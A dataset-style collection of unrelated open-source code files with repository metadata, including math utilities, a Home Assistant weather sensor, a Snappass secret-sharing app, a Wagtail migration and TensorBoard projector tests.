2020-03-30T23:34:51.000Z
mathTools/field.py
ecuvelier/PPAT
63d4e6417729ba09ddec6c719e98ea67b788ab11
[ "Apache-2.0" ]
null
null
null
mathTools/field.py
ecuvelier/PPAT
63d4e6417729ba09ddec6c719e98ea67b788ab11
[ "Apache-2.0" ]
2
2017-08-01T16:21:25.000Z
2020-03-30T23:34:53.000Z
# -*- coding: utf-8 -*- """ Created on 2013-2014 Author : Edouard Cuvelier Affiliation : Université catholique de Louvain - ICTEAM - UCL Crypto Group Address : Place du Levant 3, 1348 Louvain-la-Neuve, BELGIUM email : firstname.lastname@uclouvain.be """ from numpy import * import gmpy from Crypto.Random.random import...
33.584054
132
0.494208
from numpy import * import gmpy from Crypto.Random.random import randint import random as rd import tools.fingexp as fingexp import tools.utils as utils class Field(fingexp.FingExp): def __init__(self,p): self.F = self self.p = gmpy.mpz(p) self.char = self.p self.q = self.p+1 ...
true
true
790b28543a58805c78207912115bb3764bd5ceb4
1,452
py
Python
src/spacel/provision/app/alarm/endpoint/factory.py
mycloudandme/spacel-provision
900b8ada0017f727163c5c2ae464e17d747ba0e8
[ "MIT" ]
2
2016-05-18T11:10:27.000Z
2016-05-18T13:25:04.000Z
src/spacel/provision/app/alarm/endpoint/factory.py
mycloudandme/spacel-provision
900b8ada0017f727163c5c2ae464e17d747ba0e8
[ "MIT" ]
null
null
null
src/spacel/provision/app/alarm/endpoint/factory.py
mycloudandme/spacel-provision
900b8ada0017f727163c5c2ae464e17d747ba0e8
[ "MIT" ]
null
null
null
import logging logger = logging.getLogger('spacel.provision.app.alarm.endpoint.factory') class AlarmEndpointFactory(object): def __init__(self, factories): self._factories = factories def add_endpoints(self, template, endpoints): endpoint_resources = {} logger.debug('Injecting %d en...
33.767442
77
0.587466
import logging logger = logging.getLogger('spacel.provision.app.alarm.endpoint.factory') class AlarmEndpointFactory(object): def __init__(self, factories): self._factories = factories def add_endpoints(self, template, endpoints): endpoint_resources = {} logger.debug('Injecting %d en...
true
true
790b288e1719545deb4204457f8c3a871ba6ca5d
2,016
py
Python
base/src/shallowflow/base/sources/_ForLoop.py
waikato-datamining/shallow-flow
3f1d99921e5138598eb164edeb1d23e6f199501c
[ "MIT" ]
null
null
null
base/src/shallowflow/base/sources/_ForLoop.py
waikato-datamining/shallow-flow
3f1d99921e5138598eb164edeb1d23e6f199501c
[ "MIT" ]
2
2021-08-18T22:00:08.000Z
2021-08-18T22:00:47.000Z
base/src/shallowflow/base/sources/_ForLoop.py
waikato-datamining/shallowflow
3f1d99921e5138598eb164edeb1d23e6f199501c
[ "MIT" ]
null
null
null
from shallowflow.api.source import AbstractListOutputSource from shallowflow.api.config import Option class ForLoop(AbstractListOutputSource): """ Outputs an integer from the specified range. """ def description(self): """ Returns a description for the actor. :return: the act...
30.545455
113
0.556052
from shallowflow.api.source import AbstractListOutputSource from shallowflow.api.config import Option class ForLoop(AbstractListOutputSource): def description(self): return "Outputs an integer from the specified range." def _define_options(self): super()._define_options() self._optio...
true
true
790b2907d60dd24209ea9e5a733a1b821116b164
1,138
py
Python
pyiron/cli/wrapper.py
srmnitc/pyiron
ea290206292d60f5ad0a67b171a9f2f71f043264
[ "BSD-3-Clause" ]
null
null
null
pyiron/cli/wrapper.py
srmnitc/pyiron
ea290206292d60f5ad0a67b171a9f2f71f043264
[ "BSD-3-Clause" ]
null
null
null
pyiron/cli/wrapper.py
srmnitc/pyiron
ea290206292d60f5ad0a67b171a9f2f71f043264
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) Max-Planck-Institut für Eisenforschung GmbH - Computational Materials Design (CM) Department # Distributed under the terms of "New BSD License", see the LICENSE file. """ Run a job from hdf5. """ from pyiron.base.job.wrapper import job_wrapper_function def register(parser): parser.add_argument( ...
29.179487
108
0.593146
from pyiron.base.job.wrapper import job_wrapper_function def register(parser): parser.add_argument( "-d", "--debug", action = "store_true", help = "enable debug mode" ) parser.add_argument( "-j", "--job-id", help = "job id to run" ) parser.add_arg...
true
true
790b295c1eca2286359672cb11eb653de59239b7
1,765
py
Python
test_ADMM.py
CrazyIvanPro/Optimal_Transport
aa782820a5ca5a01909ed3c32acbada43f6cfa0f
[ "MIT" ]
2
2020-11-09T10:37:19.000Z
2021-07-06T09:24:30.000Z
test_ADMM.py
CrazyIvanPro/Optimal_Transport
aa782820a5ca5a01909ed3c32acbada43f6cfa0f
[ "MIT" ]
null
null
null
test_ADMM.py
CrazyIvanPro/Optimal_Transport
aa782820a5ca5a01909ed3c32acbada43f6cfa0f
[ "MIT" ]
1
2021-06-03T17:07:01.000Z
2021-06-03T17:07:01.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- # ======================================= # File Name: test_ADMM.py # Purpose : test ADMM solver for primal # problem and dual problem # ======================================= from utils import get_params from ADMM_primal import ADMM_primal from ADMM_dual impo...
29.915254
116
0.5983
from utils import get_params from ADMM_primal import ADMM_primal from ADMM_dual import ADMM_dual import numpy as np import argparse import time import sys parser = argparse.ArgumentParser() parser.add_argument('--n', type=int, default=64) parser.add_argument('--dataset', type=str, choices=['random', 'caffarell...
true
true
790b2982b23a530e0f088aaff3c4702dc9aa626c
2,407
py
Python
livius/audio/audioProcessing.py
papar22/livius
a28929ef27f9737a598bbae36360ebe7b55a3f41
[ "Unlicense" ]
1
2018-05-08T20:04:08.000Z
2018-05-08T20:04:08.000Z
livius/audio/audioProcessing.py
raffienficiaud/livius
a28929ef27f9737a598bbae36360ebe7b55a3f41
[ "Unlicense" ]
null
null
null
livius/audio/audioProcessing.py
raffienficiaud/livius
a28929ef27f9737a598bbae36360ebe7b55a3f41
[ "Unlicense" ]
null
null
null
# Import Basic modules import numpy as np import os # Import everything needed to edit video clips from moviepy.editor import * from moviepy.Clip import * from moviepy.video.VideoClip import * from moviepy.config import get_setting # ffmpeg, ffmpeg.exe, etc... class AudioProcessing: # documentation stri...
20.57265
108
0.617366
import numpy as np import os from moviepy.editor import * from moviepy.Clip import * from moviepy.video.VideoClip import * from moviepy.config import get_setting class AudioProcessing: """ This class include all required attributes and methods for slide detection. It includes different algor...
false
true
790b2c18fd1bc9773b6a57aed8716bfd86135e86
1,355
py
Python
code/examples/example_mikhail.py
hugopibernat/BayesianABTestAnalysis
026960524f5313f4a734f30fd447a5731be802e0
[ "Apache-2.0" ]
null
null
null
code/examples/example_mikhail.py
hugopibernat/BayesianABTestAnalysis
026960524f5313f4a734f30fd447a5731be802e0
[ "Apache-2.0" ]
null
null
null
code/examples/example_mikhail.py
hugopibernat/BayesianABTestAnalysis
026960524f5313f4a734f30fd447a5731be802e0
[ "Apache-2.0" ]
null
null
null
from bayesianABTest import sampleSuccessRateForBinomial from numpy import mean def bestOfFive(A,B,C,D,E,F): return mean( (A > B) & (A > C) & (A > D) & (A > E) & (A > F)) ############# Example: Binomial Distribution ############# # Actual data for all cases installs = [986,1013,959,968,1029,1014] returns = [340,2...
38.714286
72
0.720295
from bayesianABTest import sampleSuccessRateForBinomial from numpy import mean def bestOfFive(A,B,C,D,E,F): return mean( (A > B) & (A > C) & (A > D) & (A > E) & (A > F)) robability of 21 being the best choice is {}".format(B_best) print "The probability of 22 being the best choice is {}".format(C_best) print "The...
false
true
790b2c72de1235c0ff977b57459bda4356b27913
5,790
py
Python
bananas/model.py
bccp/bananaplots
dbfe107207e07351c7d7125430fde16fb2731cc2
[ "Apache-2.0" ]
1
2016-09-13T16:44:42.000Z
2016-09-13T16:44:42.000Z
bananas/model.py
bccp/bananaplots
dbfe107207e07351c7d7125430fde16fb2731cc2
[ "Apache-2.0" ]
8
2016-08-24T22:56:35.000Z
2016-09-29T00:58:52.000Z
bananas/model.py
bccp/bananaplots
dbfe107207e07351c7d7125430fde16fb2731cc2
[ "Apache-2.0" ]
1
2021-12-11T22:51:22.000Z
2021-12-11T22:51:22.000Z
import numpy # FIXME: copy the functions here from sklearn.mixture.gmm import log_multivariate_normal_density, logsumexp def sample_gaussian2(means, cv, size, random_state, mins, maxes): def once(size1): g = random_state.multivariate_normal(means, cv, size1).T g = g.reshape(len(means), -1) ...
33.859649
108
0.56943
import numpy from sklearn.mixture.gmm import log_multivariate_normal_density, logsumexp def sample_gaussian2(means, cv, size, random_state, mins, maxes): def once(size1): g = random_state.multivariate_normal(means, cv, size1).T g = g.reshape(len(means), -1) mask = (g >= mins[:, None]).all...
true
true
790b2c91d5044689c187c8c0af450741d2838ee3
3,942
py
Python
plugins/inline.py
OxyNotOp/OxyPlayer
6747e1a20ad2c1ef54d461505a4f61a1e9f00e85
[ "MIT" ]
null
null
null
plugins/inline.py
OxyNotOp/OxyPlayer
6747e1a20ad2c1ef54d461505a4f61a1e9f00e85
[ "MIT" ]
null
null
null
plugins/inline.py
OxyNotOp/OxyPlayer
6747e1a20ad2c1ef54d461505a4f61a1e9f00e85
[ "MIT" ]
null
null
null
#MIT License #Copyright (c) 2021 OXYOP #Permission is hereby granted, free of charge, to any person obtaining a copy #of this software and associated documentation files (the "Software"), to deal #in the Software without restriction, including without limitation the rights #to use, copy, modify, merge, publish, distr...
39.42
269
0.624556
from pyrogram.handlers import InlineQueryHandler from youtubesearchpython import VideosSearch from utils import USERNAME from pyrogram.types import InlineQueryResultArticle, InputTextMessageContent, InlineKeyboardButton, InlineKeyboardMarkup from pyrogram import Client, errors from config import Co...
true
true
790b2cc52380b3a8bf9200492b36ecac98c8f1d1
232
py
Python
project/apps/portfolio/urls.py
mahdimehrabi/django-portfolio-app
987bbfe6dce151f1b32e69ee833b71db636e933f
[ "MIT" ]
4
2021-08-11T15:23:32.000Z
2021-12-31T02:55:33.000Z
project/apps/portfolio/urls.py
mahdimehrabi/django-portfolio-app
987bbfe6dce151f1b32e69ee833b71db636e933f
[ "MIT" ]
null
null
null
project/apps/portfolio/urls.py
mahdimehrabi/django-portfolio-app
987bbfe6dce151f1b32e69ee833b71db636e933f
[ "MIT" ]
null
null
null
from django.urls import path from .views import Index, language_switch app_name = 'portfolio' urlpatterns = [ path('', Index.as_view(), name='index'), path('switch-lang/<str:lang>/', language_switch, name='switch-lang'), ]
25.777778
73
0.698276
from django.urls import path from .views import Index, language_switch app_name = 'portfolio' urlpatterns = [ path('', Index.as_view(), name='index'), path('switch-lang/<str:lang>/', language_switch, name='switch-lang'), ]
true
true
790b2ce856eb1abe3a674d8d4c7412b9a9543a94
11,132
py
Python
src/scripts/segmentation/baselines/kmeans_and_sift.py
THinnerichs/MiS-Information-Clustering
597c70e1283222e0e841e24f6805b967aaf3c9e0
[ "MIT" ]
null
null
null
src/scripts/segmentation/baselines/kmeans_and_sift.py
THinnerichs/MiS-Information-Clustering
597c70e1283222e0e841e24f6805b967aaf3c9e0
[ "MIT" ]
null
null
null
src/scripts/segmentation/baselines/kmeans_and_sift.py
THinnerichs/MiS-Information-Clustering
597c70e1283222e0e841e24f6805b967aaf3c9e0
[ "MIT" ]
null
null
null
from __future__ import print_function import argparse import os import pickle import sys import cv2 import numpy as np import torch import vlfeat # calls constructor from sklearn.cluster import MiniBatchKMeans from src.utils.cluster.eval_metrics import _hungarian_match, _original_match, \ _acc from src.utils.segm...
36.618421
80
0.676967
from __future__ import print_function import argparse import os import pickle import sys import cv2 import numpy as np import torch import vlfeat from sklearn.cluster import MiniBatchKMeans from src.utils.cluster.eval_metrics import _hungarian_match, _original_match, \ _acc from src.utils.segmentation.data impor...
true
true
790b2d371432522b12c630954ab58dc667368862
1,496
py
Python
markup.py
ak212/python-hockey-rss
60dc71168db53dee0eaf2bf02a40a73f5e3527db
[ "MIT" ]
1
2015-12-22T18:37:45.000Z
2015-12-22T18:37:45.000Z
markup.py
ak212/python-hockey-rss
60dc71168db53dee0eaf2bf02a40a73f5e3527db
[ "MIT" ]
null
null
null
markup.py
ak212/python-hockey-rss
60dc71168db53dee0eaf2bf02a40a73f5e3527db
[ "MIT" ]
null
null
null
import os __author__ = "Aaron Koeppel" __version__ = 1.0 def xmlMarkup(games, team_ab, team_name, team_record): '''Markup the RSS feed using the data obtained. :param games: list of games that the team played this season :type games: list of GameData :param team_ab: the team's abbreviated name :type ...
32.521739
79
0.625
import os __author__ = "Aaron Koeppel" __version__ = 1.0 def xmlMarkup(games, team_ab, team_name, team_record): file_name = team_ab + "_feed.xml" script_dir = os.path.dirname(os.path.abspath(__file__)) dest_dir = os.path.join(script_dir, "feeds", team_ab) try: os.makedirs(dest_dir) ...
true
true
790b2d4cde58cc65a51793d21e5e265754f9f859
140
py
Python
bactopia/__init__.py
bactopia/bactopia-ap
f87c55f3c9f8c7aca230d7a6146db078acd6d141
[ "MIT" ]
null
null
null
bactopia/__init__.py
bactopia/bactopia-ap
f87c55f3c9f8c7aca230d7a6146db078acd6d141
[ "MIT" ]
9
2019-05-20T17:05:09.000Z
2019-08-29T12:59:57.000Z
bactopia/__init__.py
bactopia/bactopia-ap
f87c55f3c9f8c7aca230d7a6146db078acd6d141
[ "MIT" ]
null
null
null
"""Top-level package for Bactopia.""" __version__ = '2.1.0' __all__ = [ 'const', 'parse', 'summary' ] from bactopia import *
11.666667
37
0.585714
__version__ = '2.1.0' __all__ = [ 'const', 'parse', 'summary' ] from bactopia import *
true
true
790b2ddc74fef2c4be27a4d6c1b24dcbd933e151
11,621
py
Python
homeassistant/components/bom/sensor.py
alemuro/home-assistant
9b1315d8e55f0ca906c4c8a1b2ae8c2ea511dc90
[ "Apache-2.0" ]
2
2019-10-19T15:07:32.000Z
2022-01-29T10:33:20.000Z
homeassistant/components/bom/sensor.py
alemuro/home-assistant
9b1315d8e55f0ca906c4c8a1b2ae8c2ea511dc90
[ "Apache-2.0" ]
4
2021-02-08T21:05:14.000Z
2021-09-08T02:57:03.000Z
homeassistant/components/bom/sensor.py
alemuro/home-assistant
9b1315d8e55f0ca906c4c8a1b2ae8c2ea511dc90
[ "Apache-2.0" ]
2
2019-01-21T05:49:23.000Z
2019-02-19T16:30:48.000Z
"""Support for Australian BOM (Bureau of Meteorology) weather service.""" import datetime import ftplib import gzip import io import json import logging import os import re import zipfile import requests import voluptuous as vol import homeassistant.helpers.config_validation as cv from homeassistant.components.sensor...
33.880466
86
0.61234
import datetime import ftplib import gzip import io import json import logging import os import re import zipfile import requests import voluptuous as vol import homeassistant.helpers.config_validation as cv from homeassistant.components.sensor import PLATFORM_SCHEMA from homeassistant.const import ( CONF_MONITOR...
true
true
790b2e75e195f6e48d17b20887b50e09e339d377
10,140
py
Python
msccl/distributors/alltoall_subproblem.py
angelica-moreira/sccl
db40eb2e8ec43990686739a1be0893e69ae99f06
[ "MIT" ]
1
2022-03-03T02:33:15.000Z
2022-03-03T02:33:15.000Z
msccl/distributors/alltoall_subproblem.py
angelica-moreira/sccl
db40eb2e8ec43990686739a1be0893e69ae99f06
[ "MIT" ]
null
null
null
msccl/distributors/alltoall_subproblem.py
angelica-moreira/sccl
db40eb2e8ec43990686739a1be0893e69ae99f06
[ "MIT" ]
null
null
null
# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. from msccl.collectives import * from msccl.algorithm import * from msccl.instance import * from msccl.topologies import * def _alltoall_subproblem(local_nodes, num_copies): remote_node = local_nodes local_end = local_nodes * local_nodes...
45.267857
133
0.60355
from msccl.collectives import * from msccl.algorithm import * from msccl.instance import * from msccl.topologies import * def _alltoall_subproblem(local_nodes, num_copies): remote_node = local_nodes local_end = local_nodes * local_nodes num_remote_pairs = (num_copies - 1) * local_nodes * local_nodes ...
true
true
790b3063b426f898769b92541a7cd32a79c0cecb
8,111
py
Python
plugins/modules/oci_identity_mfa_totp_device_facts.py
hanielburton/oci-ansible-collection
dfdffde637f746d346ba35569be8c3a3407022f2
[ "Apache-2.0" ]
null
null
null
plugins/modules/oci_identity_mfa_totp_device_facts.py
hanielburton/oci-ansible-collection
dfdffde637f746d346ba35569be8c3a3407022f2
[ "Apache-2.0" ]
null
null
null
plugins/modules/oci_identity_mfa_totp_device_facts.py
hanielburton/oci-ansible-collection
dfdffde637f746d346ba35569be8c3a3407022f2
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # Copyright (c) 2017, 2021 Oracle and/or its affiliates. # This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # Apache License v2.0 # See LICENSE.TXT for d...
33.241803
120
0.631365
from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { "metadata_version": "1.1", "status": ["preview"], "supported_by": "community", } DOCUMENTATION = """ --- module: oci_identity_mfa_totp_device_facts short_description: Fetches details about ...
true
true
790b3069425ae07e9b69a0a75534c8754c5f4767
2,284
py
Python
wagtail/tests/testapp/migrations/0014_m2m_blog_page.py
seddonym/wagtail-tableblock
aea3ce67a0800285b20b93018b7c0a8679e479b7
[ "BSD-3-Clause" ]
null
null
null
wagtail/tests/testapp/migrations/0014_m2m_blog_page.py
seddonym/wagtail-tableblock
aea3ce67a0800285b20b93018b7c0a8679e479b7
[ "BSD-3-Clause" ]
null
null
null
wagtail/tests/testapp/migrations/0014_m2m_blog_page.py
seddonym/wagtail-tableblock
aea3ce67a0800285b20b93018b7c0a8679e479b7
[ "BSD-3-Clause" ]
1
2019-03-05T15:37:22.000Z
2019-03-05T15:37:22.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import wagtail.wagtailcore.fields import modelcluster.fields class Migration(migrations.Migration): dependencies = [ ('wagtailcore', '0020_add_index_on_page_first_published_at'), ('tests', '0...
34.606061
114
0.510508
from __future__ import unicode_literals from django.db import models, migrations import wagtail.wagtailcore.fields import modelcluster.fields class Migration(migrations.Migration): dependencies = [ ('wagtailcore', '0020_add_index_on_page_first_published_at'), ('tests', '0013_iconsetting_notyetr...
true
true
790b30b8fe31efd2d8b8814bd7607f2d2230fe09
5,404
py
Python
snappass/main.py
e2x/snappass
f7fbb4575ce59ee4c427ae087abcd462b867e01e
[ "MIT" ]
null
null
null
snappass/main.py
e2x/snappass
f7fbb4575ce59ee4c427ae087abcd462b867e01e
[ "MIT" ]
null
null
null
snappass/main.py
e2x/snappass
f7fbb4575ce59ee4c427ae087abcd462b867e01e
[ "MIT" ]
1
2021-05-05T11:58:47.000Z
2021-05-05T11:58:47.000Z
import os import re import sys import uuid import redis from cryptography.fernet import Fernet from flask import abort, Flask, render_template, request from redis.exceptions import ConnectionError from werkzeug.urls import url_quote_plus from werkzeug.urls import url_unquote_plus NO_SSL = os.environ.get('NO_SSL', Fa...
27.292929
80
0.690044
import os import re import sys import uuid import redis from cryptography.fernet import Fernet from flask import abort, Flask, render_template, request from redis.exceptions import ConnectionError from werkzeug.urls import url_quote_plus from werkzeug.urls import url_unquote_plus NO_SSL = os.environ.get('NO_SSL', Fa...
true
true
790b30bb249216e305afd822386e038ae1bd80bf
694
py
Python
alipay/aop/api/response/AlipayCommerceAntestCaselistQueryResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
213
2018-08-27T16:49:32.000Z
2021-12-29T04:34:12.000Z
alipay/aop/api/response/AlipayCommerceAntestCaselistQueryResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
29
2018-09-29T06:43:00.000Z
2021-09-02T03:27:32.000Z
alipay/aop/api/response/AlipayCommerceAntestCaselistQueryResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
59
2018-08-27T16:59:26.000Z
2022-03-25T10:08:15.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class AlipayCommerceAntestCaselistQueryResponse(AlipayResponse): def __init__(self): super(AlipayCommerceAntestCaselistQueryResponse, self).__init__() self._data = None ...
26.692308
114
0.706052
import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class AlipayCommerceAntestCaselistQueryResponse(AlipayResponse): def __init__(self): super(AlipayCommerceAntestCaselistQueryResponse, self).__init__() self._data = None @property def data(self): retu...
true
true
790b319ae4af0618d5e780d5ec1f5e926956e06f
3,240
bzl
Python
src/main/starlark/builtins_bzl/common/java/java_library.bzl
omarzl/bazel
2e723f228efee008bcfd62ceb74a176a357c4c32
[ "Apache-2.0" ]
null
null
null
src/main/starlark/builtins_bzl/common/java/java_library.bzl
omarzl/bazel
2e723f228efee008bcfd62ceb74a176a357c4c32
[ "Apache-2.0" ]
null
null
null
src/main/starlark/builtins_bzl/common/java/java_library.bzl
omarzl/bazel
2e723f228efee008bcfd62ceb74a176a357c4c32
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
36.818182
135
0.674691
load(":common/java/java_common.bzl", "JAVA_COMMON_DEP") load(":common/rule_util.bzl", "create_rule") load(":common/java/java_semantics.bzl", "semantics") load(":common/java/proguard_validation.bzl", "VALIDATE_PROGUARD_SPECS") JavaInfo = _builtins.toplevel.JavaInfo JavaPluginInfo = _builtins.toplevel.Jav...
true
true
790b328b89c6f9bc48583162fd7cf5e176afc177
4,239
py
Python
network/get_sig_histogram.py
yukimasano/pet_forecast
57547fee4c222313e9c958536f60da4f43e23c8c
[ "MIT" ]
null
null
null
network/get_sig_histogram.py
yukimasano/pet_forecast
57547fee4c222313e9c958536f60da4f43e23c8c
[ "MIT" ]
1
2018-02-19T21:08:08.000Z
2018-02-23T10:45:57.000Z
network/get_sig_histogram.py
yukimasano/pet_forecast
57547fee4c222313e9c958536f60da4f43e23c8c
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Mon Mar 28 12:54:52 2016 @author: YPC """ import matplotlib.pyplot as plt import json import numpy f=open('../petitions.json', 'r') met=json.load(f) f.close() s=[] s2=[] """ this plots the signature distribution function""" if False: for i in range(len(m...
27.888158
114
0.610757
""" Created on Mon Mar 28 12:54:52 2016 @author: YPC """ import matplotlib.pyplot as plt import json import numpy f=open('../petitions.json', 'r') met=json.load(f) f.close() s=[] s2=[] """ this plots the signature distribution function""" if False: for i in range(len(met)): s.append(...
false
true
790b3468a36f769806063323bf41611a538801a6
5,280
py
Python
tensorflow/tensorboard/plugins/projector/projector_plugin_test.py
garston2/tensorflow
bbe056e5a0ab81b67fcb6053400812b3d5805fc7
[ "Apache-2.0" ]
null
null
null
tensorflow/tensorboard/plugins/projector/projector_plugin_test.py
garston2/tensorflow
bbe056e5a0ab81b67fcb6053400812b3d5805fc7
[ "Apache-2.0" ]
null
null
null
tensorflow/tensorboard/plugins/projector/projector_plugin_test.py
garston2/tensorflow
bbe056e5a0ab81b67fcb6053400812b3d5805fc7
[ "Apache-2.0" ]
null
null
null
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
36.413793
97
0.726136
from __future__ import absolute_import from __future__ import division from __future__ import print_function import gzip import io import json import os import numpy as np from werkzeug import test as werkzeug_test from werkzeug import wrappers from google.protobuf import text_format from tensorflow.c...
true
true